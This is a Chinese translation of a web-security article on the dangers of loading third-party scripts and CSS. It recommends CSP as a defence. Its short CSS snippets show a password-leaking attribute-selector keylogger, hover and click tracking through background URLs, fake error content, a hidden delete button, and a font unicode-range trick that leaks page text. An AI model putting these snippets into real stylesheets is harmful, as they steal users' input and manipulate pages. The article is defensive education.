第三方内容在其沙箱中具有很高的影响力。 虽然图像或沙盒iframe有着非常小的沙箱，但脚本和样式的作用范围却影响你的整个页面，甚至是整个站点。如果你担心用户会欺骗你的网站去加载第三方资源，可以使用CSP（内容安全策略）保证安全
第三方图片
<img src="https://example.com/kitten.jpg">
第三方脚本
<script src="https://example.com/script.js"></script>
-
读取/更改页面内容。
-
监控用户交互的每一个步骤。
-
运行计算量很大的代码（比如用你的浏览器挖矿）。
-
盗取用户的cookie向我的来源发出请求，并转发响应数据。
-
读取/更改原始存储。
-
几乎可以做任何他们想做的事。
第三方CSS
<link rel="stylesheet" href="https://example.com/style.css">
-
删除/添加/修改页面内容。
-
根据页面内容发出请求。
-
对许多用户交互作出响应。
键盘记录器
input[type="password"][value$="p"] {
background: url('/password?p');
}
消失的内容
body {
display: none;
}
html::after {
content: 'HTTP 500 Server Error';
}
添加内容
.price-value::before {
content: '1';
}
移除内容
delete-everything-button {
opacity: 0;
position: absolute;
top: 500px;
left: 300px;
}
读取属性
<input type="hidden" name="csrf" value="1687594325">
<img src="/avatars/samanthasmith83.jpg">
<iframe src="//cool-maps-service/show?st-pancras-london"></iframe>
<img src="/gender-icons/female.png">
<div class="banner users-birthday-today"></div>
监控互动
.login-button:hover {
background: url('/login-button-hover');
}
.login-button:active {
background: url('/login-button-active');
}
读取文本
@font-face {
font-family: blah;
src: url('/page-contains-q') format('woff');
unicode-range: U+71;
}
html {
font-family: blah, sans-serif;
}
结论：第三方内容并不安
原文：https://jakearchibald.com/201...
翻译：疯狂的技术宅
本文首发微信公众号：jingchengyideng
服务热线 19970861797
